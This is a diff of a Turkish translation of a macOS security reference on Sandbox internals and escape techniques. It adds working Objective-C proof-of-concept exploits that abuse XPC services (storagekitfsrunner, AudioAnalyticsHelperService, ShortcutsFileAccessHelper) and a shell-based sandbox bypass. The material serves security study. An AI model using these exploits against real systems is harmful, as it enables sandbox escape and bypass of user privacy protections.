@ -263,9 +265,9 @@ Ayrıca, bir süreci bir konteyner içinde sınırlamak için `sandbox_spawnattr
|
||||
|
||||
## Sandbox'ı Hata Ayıklama ve Aşma
|
||||
|
||||
macOS'ta, süreçlerin başlangıçta çekirdek tarafından sandbox'a alınmadığı iOS'un aksine, **süreçlerin kendilerinin sandbox'a katılması gerekir**. Bu, macOS'ta bir sürecin, aktif olarak girmeye karar vermediği sürece sandbox tarafından kısıtlanmadığı anlamına gelir, ancak App Store uygulamaları her zaman sandbox'a alınır.
|
||||
macOS'ta, süreçler başlangıçta çekirdek tarafından sandbox'lanmadığı için, **süreçlerin kendilerinin sandbox'a katılması gerekir**. Bu, macOS'ta bir sürecin, aktif olarak girmeye karar vermediği sürece sandbox tarafından kısıtlanmadığı anlamına gelir, ancak App Store uygulamaları her zaman sandbox'lanmıştır.
|
||||
|
||||
Süreçler, `com.apple.security.app-sandbox` yetkisine sahip olduklarında kullanıcı alanından otomatik olarak Sandbox'a alınır. Bu sürecin ayrıntılı açıklaması için kontrol edin:
|
||||
Süreçler, `com.apple.security.app-sandbox` yetkisine sahip olduklarında kullanıcı alanından otomatik olarak Sandbox'lanır. Bu sürecin ayrıntılı açıklaması için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
macos-sandbox-debug-and-bypass/
|
||||
@ -286,9 +288,9 @@ Uzantılar, bir nesneye daha fazla ayrıcalık vermeye olanak tanır ve aşağı
|
||||
Uzantılar, süreç kimlik bilgileri üzerinden erişilebilen ikinci MACF etiket slotunda saklanır. Aşağıdaki **`sbtool`** bu bilgilere erişebilir.
|
||||
|
||||
Uzantıların genellikle izin verilen süreçler tarafından verildiğini unutmayın; örneğin, `tccd`, bir sürecin fotoğraflara erişmeye çalıştığında ve bir XPC mesajında izin verildiğinde `com.apple.tcc.kTCCServicePhotos` uzantı token'ını verecektir. Ardından, sürecin uzantı token'ını tüketmesi gerekecek, böylece ona eklenir.\
|
||||
Uzantı token'larının, verilen izinleri kodlayan uzun onaltılı sayılar olduğunu unutmayın. Ancak, izin verilen PID'nin sabit kodlanmadığı anlamına gelir; bu, token'a erişimi olan herhangi bir sürecin **birden fazla süreç tarafından tüketilebileceği** anlamına gelir.
|
||||
Uzantı token'larının, verilen izinleri kodlayan uzun onaltılı sayılar olduğunu unutmayın. Ancak, izin verilen PID'yi sabit kodlamazlar, bu da token'a erişimi olan herhangi bir sürecin **birden fazla süreç tarafından tüketilebileceği** anlamına gelir.
|
||||
|
||||
Uzantıların, belirli yetkilere de çok bağlı olduğunu unutmayın; bu nedenle, belirli yetkilere sahip olmak, otomatik olarak belirli uzantıları verebilir.
|
||||
Uzantıların, yetkilerle de çok ilgili olduğunu unutmayın, bu nedenle belirli yetkilere sahip olmak, belirli uzantıları otomatik olarak verebilir.
|
||||
|
||||
### **PID Ayrıcalıklarını Kontrol Etme**
|
||||
|
||||
@ -303,7 +305,7 @@ sbtool <pid> all
|
||||
```
|
||||
### \[un]suspend
|
||||
|
||||
Sandbox'ı `libsystem_sandbox.dylib` içindeki `sandbox_suspend` ve `sandbox_unsuspend` fonksiyonları kullanarak askıya almak ve askıdan almak da mümkündür.
|
||||
Sandbox'ı `libsystem_sandbox.dylib` içindeki `sandbox_suspend` ve `sandbox_unsuspend` fonksiyonları kullanarak askıya almak ve askıdan kaldırmak da mümkündür.
|
||||
|
||||
Askıya alma fonksiyonunu çağırmak için bazı yetkilendirmelerin kontrol edildiğini unutmayın:
|
||||
|
||||
@ -315,14 +317,14 @@ Askıya alma fonksiyonunu çağırmak için bazı yetkilendirmelerin kontrol edi
|
||||
|
||||
Bu sistem çağrısı (#381), çalıştırılacak modülü belirten birinci argüman olarak bir dize bekler ve ardından çalıştırılacak fonksiyonu belirten bir kodu ikinci argüman olarak alır. Üçüncü argüman ise yürütülen fonksiyona bağlı olacaktır.
|
||||
|
||||
`___sandbox_ms` çağrısı, birinci argümanda `"Sandbox"` belirterek `mac_syscall`'ı sarmalar; tıpkı `___sandbox_msp`'nin `mac_set_proc`'ün (#387) bir sarmalayıcı olması gibi. Ardından, `___sandbox_ms` tarafından desteklenen bazı kodlar bu tabloda bulunabilir:
|
||||
`___sandbox_ms` çağrısı, birinci argüman olarak `"Sandbox"` belirterek `mac_syscall`'ı sarmalar; tıpkı `___sandbox_msp`'nin `mac_set_proc`'ün (#387) bir sarmalayıcı olması gibi. Ardından, `___sandbox_ms` tarafından desteklenen bazı kodlar bu tabloda bulunabilir:
|
||||
|
||||
- **set_profile (#0)**: Bir sürece derlenmiş veya adlandırılmış bir profil uygular.
|
||||
- **set_profile (#0)**: Bir işleme derlenmiş veya adlandırılmış bir profil uygular.
|
||||
- **platform_policy (#1)**: Platforma özgü politika kontrollerini zorlar (macOS ve iOS arasında değişir).
|
||||
- **check_sandbox (#2)**: Belirli bir sandbox işleminin manuel kontrolünü gerçekleştirir.
|
||||
- **note (#3)**: Bir Sandbox'a not ekler.
|
||||
- **container (#4)**: Genellikle hata ayıklama veya tanımlama için bir sandbox'a bir not ekler.
|
||||
- **extension_issue (#5)**: Bir süreç için yeni bir uzantı oluşturur.
|
||||
- **extension_issue (#5)**: Bir işlem için yeni bir uzantı oluşturur.
|
||||
- **extension_consume (#6)**: Verilen bir uzantıyı tüketir.
|
||||
- **extension_release (#7)**: Tüketilen bir uzantıya bağlı belleği serbest bırakır.
|
||||
- **extension_update_file (#8)**: Sandbox içindeki mevcut bir dosya uzantısının parametrelerini değiştirir.
|
||||
@ -333,7 +335,7 @@ Bu sistem çağrısı (#381), çalıştırılacak modülü belirten birinci arg
|
||||
- **set_container_path (#13)**: (sadece iOS) Bir uygulama grubu veya imza kimliği için bir konteyner yolu ayarlar.
|
||||
- **container_map (#14)**: (sadece iOS) `containermanagerd`'en bir konteyner yolu alır.
|
||||
- **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) Sandbox'ta kullanıcı modu meta verilerini ayarlar.
|
||||
- **inspect (#16)**: Sandbox'lanmış bir süreç hakkında hata ayıklama bilgisi sağlar.
|
||||
- **inspect (#16)**: Sandbox'lanmış bir işlem hakkında hata ayıklama bilgisi sağlar.
|
||||
- **dump (#18)**: (macOS 11) Analiz için bir sandbox'ın mevcut profilini döker.
|
||||
- **vtrace (#19)**: İzleme veya hata ayıklama için sandbox işlemlerini izler.
|
||||
- **builtin_profile_deactivate (#20)**: (macOS < 11) Adlandırılmış profilleri devre dışı bırakır (örneğin, `pe_i_can_has_debugger`).
|
||||
@ -344,33 +346,33 @@ Bu sistem çağrısı (#381), çalıştırılacak modülü belirten birinci arg
|
||||
- **rootless_whitelist_push (#31)**: (macOS) Bir Sistem Bütünlüğü Koruma (SIP) manifest dosyası uygular.
|
||||
- **rootless_whitelist_check (preflight) (#32)**: Uygulamadan önce SIP manifest dosyasını kontrol eder.
|
||||
- **rootless_protected_volume (#33)**: (macOS) Bir disk veya bölüme SIP korumaları uygular.
|
||||
- **rootless_mkdir_protected (#34)**: Bir dizin oluşturma sürecine SIP/DataVault koruması uygular.
|
||||
- **rootless_mkdir_protected (#34)**: Bir dizin oluşturma işlemi için SIP/DataVault koruması uygular.
|
||||
|
||||
## Sandbox.kext
|
||||
|
||||
iOS'ta çekirdek uzantısının **tüm profilleri hardcoded** olarak `__TEXT.__const` segmentinde içerdiğini unutmayın, böylece bunların değiştirilmesi engellenir. Çekirdek uzantısından bazı ilginç fonksiyonlar şunlardır:
|
||||
iOS'ta çekirdek uzantısının **tüm profilleri sabit kodlu** olarak `__TEXT.__const` segmentinde içerdiğini unutmayın, böylece bunların değiştirilmesi engellenir. Çekirdek uzantısından bazı ilginç fonksiyonlar şunlardır:
|
||||
|
||||
- **`hook_policy_init`**: `mpo_policy_init`'i bağlar ve `mac_policy_register`'dan sonra çağrılır. Sandbox'ın çoğu başlatmasını gerçekleştirir. Ayrıca SIP'yi de başlatır.
|
||||
- **`hook_policy_init`**: `mpo_policy_init`'i bağlar ve `mac_policy_register`'den sonra çağrılır. Sandbox'ın çoğu başlatmasını gerçekleştirir. Ayrıca SIP'yi de başlatır.
|
||||
- **`hook_policy_initbsd`**: `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` ve `security.mac.sandbox.debug_mode`'u kaydederek sysctl arayüzünü ayarlar (eğer `PE_i_can_has_debugger` ile başlatılmışsa).
|
||||
- **`hook_policy_syscall`**: `mac_syscall` tarafından "Sandbox" birinci argüman olarak ve ikinci argümanda işlemi belirten kod ile çağrılır. İstenen koda göre çalıştırılacak kodu bulmak için bir switch kullanılır.
|
||||
|
||||
### MACF Hooks
|
||||
|
||||
**`Sandbox.kext`** MACF aracılığıyla yüzlerce hook kullanır. Çoğu hook, eylemi gerçekleştirmeye izin veren bazı basit durumları kontrol eder; aksi takdirde, **`cred_sb_evalutate`**'yi MACF'den alınan **kimlik bilgileri** ve gerçekleştirilecek **işlem** ile ilgili bir sayı ve çıktı için bir **buffer** ile çağırırlar.
|
||||
**`Sandbox.kext`** MACF aracılığıyla yüzlerce kancayı kullanır. Kancaların çoğu, eğer değilse, işlemi gerçekleştirmeye izin veren bazı önemsiz durumları kontrol eder; aksi takdirde **`cred_sb_evalutate`**'yi MACF'den alınan **kimlik bilgileri** ve gerçekleştirilecek **işlem** ile ilgili bir sayı ve **çıktı** için bir **tampon** ile çağırırlar.
|
||||
|
||||
Bunun iyi bir örneği, **`_mpo_file_check_mmap`** fonksiyonudur; bu fonksiyon **`mmap`**'i bağlar ve yeni belleğin yazılabilir olup olmadığını kontrol etmeye başlar (ve eğer değilse yürütmeye izin vermez), ardından bunun dyld paylaşılan önbelleği için kullanılıp kullanılmadığını kontrol eder ve eğer öyleyse yürütmeye izin verir, ve nihayetinde **`sb_evaluate_internal`**'i (veya sarmalayıcılarından birini) daha fazla izin kontrolü yapmak için çağırır.
|
||||
Bunun iyi bir örneği, **`_mpo_file_check_mmap`** fonksiyonudur; bu fonksiyon **`mmap`**'i bağlar ve yeni belleğin yazılabilir olup olmadığını kontrol etmeye başlar (ve eğer değilse yürütmeye izin vermez), ardından bunun dyld paylaşılan önbelleği için kullanılıp kullanılmadığını kontrol eder ve eğer öyleyse yürütmeye izin verir; son olarak **`sb_evaluate_internal`**'i (veya sarmalayıcılarından birini) çağırarak daha fazla izin kontrolü gerçekleştirir.
|
||||
|
||||
Ayrıca, Sandbox'ın kullandığı yüzlerce hook arasında özellikle ilginç olan 3 tanesi vardır:
|
||||
Ayrıca, Sandbox'ın kullandığı yüzlerce kancanın dışında, özellikle ilginç olan 3 kanca vardır:
|
||||
|
||||
- `mpo_proc_check_for`: Gerekirse profili uygular ve daha önce uygulanmamışsa uygular.
|
||||
- `mpo_vnode_check_exec`: Bir süreç ilişkili ikili dosyayı yüklediğinde çağrılır, ardından bir profil kontrolü yapılır ve SUID/SGID yürütmelerini yasaklayan bir kontrol de yapılır.
|
||||
- `mpo_cred_label_update_execve`: Etiket atandığında çağrılır. Bu, ikili dosya tamamen yüklendiğinde ancak henüz yürütülmediğinde çağrıldığı için en uzun olanıdır. Sandbox nesnesi oluşturma, kauth kimlik bilgilerine sandbox yapısını ekleme, mach portlarına erişimi kaldırma gibi işlemleri gerçekleştirir...
|
||||
- `mpo_proc_check_for`: Gerekirse profili uygular ve daha önce uygulanmamışsa.
|
||||
- `mpo_vnode_check_exec`: Bir işlem ilişkili ikili dosyayı yüklediğinde çağrılır, ardından bir profil kontrolü gerçekleştirilir ve ayrıca SUID/SGID yürütmelerini yasaklayan bir kontrol yapılır.
|
||||
- `mpo_cred_label_update_execve`: Etiket atandığında çağrılır. Bu, ikili dosya tamamen yüklendiğinde ancak henüz yürütülmediğinde çağrıldığı için en uzun olanıdır. Sandbox nesnesi oluşturma, kauth kimlik bilgilerine sandbox yapısını ekleme, mach portlarına erişimi kaldırma gibi işlemler gerçekleştirir...
|
||||
|
||||
Unutmayın ki **`_cred_sb_evalutate`** **`sb_evaluate_internal`**'in bir sarmalayıcısıdır ve bu fonksiyon, geçirilen kimlik bilgilerini alır ve ardından genellikle tüm süreçlere varsayılan olarak uygulanan **platform profili** ve ardından **belirli süreç profili** kullanarak değerlendirme yapar. Unutmayın ki platform profili, macOS'taki **SIP**'in ana bileşenlerinden biridir.
|
||||
Unutmayın ki **`_cred_sb_evalutate`**, **`sb_evaluate_internal`**'in bir sarmalayıcısıdır ve bu fonksiyon, geçirilen kimlik bilgilerini alır ve ardından **`eval`** fonksiyonunu kullanarak değerlendirme yapar; bu genellikle tüm işlemlere varsayılan olarak uygulanan **platform profili** ve ardından **belirli işlem profili** üzerinde değerlendirme yapar. Unutmayın ki platform profili, macOS'taki **SIP**'in ana bileşenlerinden biridir.
|
||||
|
||||
## Sandboxd
|
||||
|
||||
Sandbox ayrıca, XPC Mach servisi `com.apple.sandboxd`'yi sergileyen bir kullanıcı daemon'u çalıştırır ve çekirdek uzantısının iletişim kurmak için kullandığı özel port 14 (`HOST_SEATBELT_PORT`) ile bağlanır. MIG kullanarak bazı fonksiyonlar sunar.
|
||||
Sandbox ayrıca, XPC Mach servisi `com.apple.sandboxd`'yi sergileyen bir kullanıcı daemon'u çalıştırır ve çekirdek uzantısının iletişim kurmak için kullandığı özel 14 numaralı portu (`HOST_SEATBELT_PORT`) bağlar. MIG kullanarak bazı fonksiyonlar sunar.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
|
||||
Derleyici, `/usr/lib/libSystem.B.dylib` dosyasını ikili dosyaya bağlayacaktır.
|
||||
|
||||
Daha sonra, **`libSystem.B`**, **`xpc_pipe_routine`** uygulamanın yetkilerini **`securityd`**'ye gönderene kadar diğer birkaç fonksiyonu çağıracaktır. Securityd, sürecin Sandbox içinde karantinaya alınması gerekip gerekmediğini kontrol eder ve eğer öyleyse, karantinaya alır.\
|
||||
Daha sonra, **`libSystem.B`**, **`xpc_pipe_routine`** uygulamanın yetkilerini **`securityd`**'ye göndermeden önce birkaç başka fonksiyonu çağıracaktır. Securityd, sürecin Sandbox içinde karantinaya alınması gerekip gerekmediğini kontrol eder ve eğer öyleyse, karantinaya alınacaktır.\
|
||||
Son olarak, sandbox, **`__sandbox_ms`** çağrısıyla etkinleştirilecek ve bu da **`__mac_syscall`**'ı çağıracaktır.
|
||||
|
||||
## Olası Bypass'ler
|
||||
@ -28,13 +28,13 @@ Bu, [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbo
|
||||
|
||||
### Open işlevselliğini kötüye kullanma
|
||||
|
||||
[**Son Word sandbox bypass örneklerinde**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv), **`open`** cli işlevselliğinin sandbox'ı atlamak için nasıl kötüye kullanılabileceği görülebilir.
|
||||
[**Word sandbox bypass**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) son örneklerinde, **`open`** cli işlevselliğinin sandbox'ı atlamak için nasıl kötüye kullanılabileceği görülebilir.
|
||||
|
||||
{{#ref}}
|
||||
macos-office-sandbox-bypasses.md
|
||||
{{#endref}}
|
||||
|
||||
### Başlatma Ajanları/Daemon'lar
|
||||
### Başlatma Ajanları/Daemon'ları
|
||||
|
||||
Bir uygulama **sandbox'lı olacak şekilde tasarlanmışsa** (`com.apple.security.app-sandbox`), örneğin bir LaunchAgent'tan **çalıştırıldığında** sandbox'ı atlamak mümkündür.\
|
||||
[**Bu yazıda**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) açıklandığı gibi, sandbox'lı bir uygulama ile kalıcılık kazanmak istiyorsanız, otomatik olarak bir LaunchAgent olarak çalıştırılmasını sağlayabilir ve belki de DyLib çevre değişkenleri aracılığıyla kötü niyetli kod enjekte edebilirsiniz.
|
||||
@ -43,7 +43,7 @@ Bir uygulama **sandbox'lı olacak şekilde tasarlanmışsa** (`com.apple.securit
|
||||
|
||||
Eğer bir sandbox'lı süreç, **sonrasında bir sandbox'sız uygulamanın ikili dosyasını çalıştıracağı** bir yere **yazabiliyorsa**, oraya ikili dosyayı yerleştirerek **kaçabilir**. Bu tür konumların iyi bir örneği `~/Library/LaunchAgents` veya `/System/Library/LaunchDaemons`'dır.
|
||||
|
||||
Bunun için belki de **2 adım** gerekebilir: Daha **izin verici bir sandbox** (`file-read*`, `file-write*`) ile bir sürecin kodunuzu çalıştırmasını sağlamak ve bu kodun aslında **sandbox'sız çalıştırılacağı** bir yere yazmasını sağlamak.
|
||||
Bunun için belki de **2 adım** gerekebilir: Daha **izin verici bir sandbox** (`file-read*`, `file-write*`) ile bir sürecin kodunuzu çalıştırmasını sağlamak ve bu kodun aslında **sandbox'sız çalıştırılacak** bir yere yazmasını sağlamak.
|
||||
|
||||
**Otomatik Başlatma konumları** hakkında bu sayfayı kontrol edin:
|
||||
|
||||
@ -53,29 +53,190 @@ Bunun için belki de **2 adım** gerekebilir: Daha **izin verici bir sandbox** (
|
||||
|
||||
### Diğer süreçleri kötüye kullanma
|
||||
|
||||
Eğer o sandbox sürecinden, daha az kısıtlayıcı sandbox'larda (veya hiç) çalışan **diğer süreçleri tehlikeye atabiliyorsanız**, onların sandbox'larından kaçabilirsiniz:
|
||||
Eğer o sandbox sürecinden, daha az kısıtlayıcı sandbox'larda (veya hiç) çalışan **diğer süreçleri tehlikeye atabiliyorsanız**, onların sandbox'larına kaçabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-proces-abuse/
|
||||
{{#endref}}
|
||||
|
||||
### Mevcut Sistem ve Kullanıcı Mach hizmetleri
|
||||
|
||||
Sandbox, ayrıca `application.sb` profilinde tanımlanan belirli **Mach hizmetleri** ile iletişim kurmaya da izin verir. Eğer bu hizmetlerden birini **kötüye kullanmayı** başarırsanız, **sandbox'tan kaçabilirsiniz**.
|
||||
|
||||
[Bu yazıda](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) belirtildiği gibi, Mach hizmetleri hakkında bilgi `/System/Library/xpc/launchd.plist` dosyasında saklanmaktadır. Tüm Sistem ve Kullanıcı Mach hizmetlerini bulmak için o dosyada `<string>System</string>` ve `<string>User</string>` araması yapabilirsiniz.
|
||||
|
||||
Ayrıca, bir Mach hizmetinin sandbox'lı bir uygulama için mevcut olup olmadığını kontrol etmek için `bootstrap_look_up` çağrısı yapabilirsiniz:
|
||||
```objectivec
|
||||
void checkService(const char *serviceName) {
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
|
||||
if (!err) {
|
||||
NSLog(@"available service:%s", serviceName);
|
||||
mach_port_deallocate(mach_task_self_, service_port);
|
||||
}
|
||||
}
|
||||
|
||||
void print_available_xpc(void) {
|
||||
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
|
||||
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
|
||||
for (NSString* key in launchDaemons) {
|
||||
NSDictionary<NSString*, id>* job = launchDaemons[key];
|
||||
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
|
||||
for (NSString* serviceName in machServices) {
|
||||
checkService(serviceName.UTF8String);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
### Mevcut PID Mach hizmetleri
|
||||
|
||||
Bu Mach hizmetleri, bu yazıda [sandbox'tan kaçmak için ilk olarak istismar edildi](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). O zaman, bir uygulama ve çerçevesi tarafından **gerekli olan tüm XPC hizmetleri** uygulamanın PID alanında görünür durumdaydı (bunlar `ServiceType` olarak `Application` olan Mach Hizmetleridir).
|
||||
|
||||
Bir PID Domain XPC hizmeti ile **iletişim kurmak için**, uygulama içinde şu şekilde kaydetmek yeterlidir:
|
||||
```objectivec
|
||||
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
|
||||
```
|
||||
Ayrıca, tüm **Application** Mach hizmetlerini `System/Library/xpc/launchd.plist` içinde `<string>Application</string>` arayarak bulmak mümkündür.
|
||||
|
||||
Geçerli xpc hizmetlerini bulmanın bir diğer yolu ise şunları kontrol etmektir:
|
||||
```bash
|
||||
find /System/Library/Frameworks -name "*.xpc"
|
||||
find /System/Library/PrivateFrameworks -name "*.xpc"
|
||||
```
|
||||
Bu tekniği kötüye kullanan birkaç örnek [**orijinal yazıda**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) bulunabilir, ancak aşağıda bazı özetlenmiş örnekler verilmiştir.
|
||||
|
||||
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
|
||||
|
||||
Bu hizmet, her XPC bağlantısına her zaman `YES` döndürerek izin verir ve `runTask:arguments:withReply:` metodu, keyfi bir komutu keyfi parametrelerle çalıştırır.
|
||||
|
||||
Sömürü "şu kadar basitti":
|
||||
```objectivec
|
||||
@protocol SKRemoteTaskRunnerProtocol
|
||||
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
|
||||
@end
|
||||
|
||||
void exploit_storagekitfsrunner(void) {
|
||||
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
|
||||
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
|
||||
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
|
||||
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
|
||||
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
|
||||
[conn resume];
|
||||
|
||||
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
|
||||
NSLog(@"run task result:%@, error:%@", bSucc, error);
|
||||
}];
|
||||
}
|
||||
```
|
||||
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
|
||||
|
||||
Bu XPC servisi, her istemciye her zaman YES döndürerek izin verdi ve `createZipAtPath:hourThreshold:withReply:` metodu, sıkıştırılacak bir klasörün yolunu belirtmeye olanak tanıdı ve bunu bir ZIP dosyası olarak sıkıştırdı.
|
||||
|
||||
Bu nedenle, sahte bir uygulama klasör yapısı oluşturmak, sıkıştırmak, ardından açmak ve çalıştırmak mümkün, çünkü yeni dosyalar karantina niteliğine sahip olmayacak.
|
||||
|
||||
Sömürü şuydu:
|
||||
```objectivec
|
||||
@protocol AudioAnalyticsHelperServiceProtocol
|
||||
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
|
||||
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
|
||||
@end
|
||||
void exploit_AudioAnalyticsHelperService(void) {
|
||||
NSString *currentPath = NSTemporaryDirectory();
|
||||
chdir([currentPath UTF8String]);
|
||||
NSLog(@"======== preparing payload at the current path:%@", currentPath);
|
||||
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
|
||||
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
|
||||
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
|
||||
|
||||
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
|
||||
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
|
||||
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
|
||||
[conn resume];
|
||||
|
||||
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
|
||||
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
|
||||
NSString *file;
|
||||
while ((file = [dirEnum nextObject])) {
|
||||
if ([[file pathExtension] isEqualToString: @"zip"]) {
|
||||
// open the zip
|
||||
NSString *cmd = [@"open " stringByAppendingString:file];
|
||||
system([cmd UTF8String]);
|
||||
|
||||
sleep(3); // wait for decompression and then open the payload (poc.app)
|
||||
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
|
||||
system([cmd2 UTF8String]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}];
|
||||
}
|
||||
```
|
||||
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
|
||||
|
||||
Bu XPC servisi, `extendAccessToURL:completion:` yöntemi aracılığıyla XPC istemcisine keyfi bir URL'ye okuma ve yazma erişimi verme imkanı tanır ve bu yöntem herhangi bir bağlantıyı kabul eder. XPC servisi FDA'ya sahip olduğundan, bu izinlerin kötüye kullanılması TCC'yi tamamen atlatmak için mümkündür.
|
||||
|
||||
Sömürü şuydu:
|
||||
```objectivec
|
||||
@protocol WFFileAccessHelperProtocol
|
||||
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
|
||||
@end
|
||||
typedef int (*PFN)(const char *);
|
||||
void expoit_ShortcutsFileAccessHelper(NSString *target) {
|
||||
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
|
||||
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
|
||||
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
|
||||
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
|
||||
[conn resume];
|
||||
|
||||
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
|
||||
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
|
||||
NSURL *targetURL = [fpWrapper url];
|
||||
|
||||
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
|
||||
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
|
||||
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
|
||||
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
|
||||
else {
|
||||
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
|
||||
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
|
||||
}
|
||||
}];
|
||||
}
|
||||
```
|
||||
### Statik Derleme & Dinamik Bağlama
|
||||
|
||||
[**Bu araştırma**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) Sandbox'ı atlamak için 2 yol keşfetti. Çünkü sandbox, **libSystem** kütüphanesi yüklendiğinde kullanıcı alanından uygulanır. Eğer bir ikili dosya bunu yüklemekten kaçınabilirse, asla sandbox'a alınmaz:
|
||||
[**Bu araştırma**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) Sandbox'ı atlatmanın 2 yolunu keşfetti. Çünkü sandbox, **libSystem** kütüphanesi yüklendiğinde kullanıcı alanından uygulanır. Eğer bir ikili bu kütüphaneyi yüklemekten kaçınabilirse, asla sandbox'a alınmaz:
|
||||
|
||||
- Eğer ikili dosya **tamamen statik olarak derlenmişse**, o kütüphaneyi yüklemekten kaçınabilir.
|
||||
- Eğer **ikili dosya herhangi bir kütüphaneyi yüklemeye ihtiyaç duymuyorsa** (çünkü bağlayıcı da libSystem'dadır), libSystem'i yüklemeye ihtiyaç duymayacaktır.
|
||||
- Eğer ikili **tamamen statik olarak derlenmişse**, o kütüphaneyi yüklemekten kaçınabilir.
|
||||
- Eğer **ikili herhangi bir kütüphaneyi yüklemeye ihtiyaç duymuyorsa** (çünkü bağlayıcı da libSystem'dadır), libSystem'i yüklemesine gerek kalmaz.
|
||||
|
||||
### Shell kodları
|
||||
### Shell Kodları
|
||||
|
||||
**Shell kodlarının** ARM64'te bile `libSystem.dylib`'de bağlanması gerektiğini unutmayın:
|
||||
**Shell kodlarının** ARM64'te bile `libSystem.dylib` içinde bağlanması gerektiğini unutmayın:
|
||||
```bash
|
||||
ld -o shell shell.o -macosx_version_min 13.0
|
||||
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
|
||||
```
|
||||
### Yetkiler
|
||||
### Devralınmayan kısıtlamalar
|
||||
|
||||
Not edin ki, bir uygulama belirli bir **yetkiye** sahipse, bazı **hareketler** **sandbox tarafından izin verilebilir**.
|
||||
**[bu yazının bonusunda](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)** açıklandığı gibi, bir sandbox kısıtlaması şöyle:
|
||||
```
|
||||
(version 1)
|
||||
(allow default)
|
||||
(deny file-write* (literal "/private/tmp/sbx"))
|
||||
```
|
||||
örneğin yeni bir süreç tarafından atlatılabilir:
|
||||
```bash
|
||||
mkdir -p /tmp/poc.app/Contents/MacOS
|
||||
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
|
||||
chmod +x /tmp/poc.app/Contents/MacOS/poc
|
||||
open /tmp/poc.app
|
||||
```
|
||||
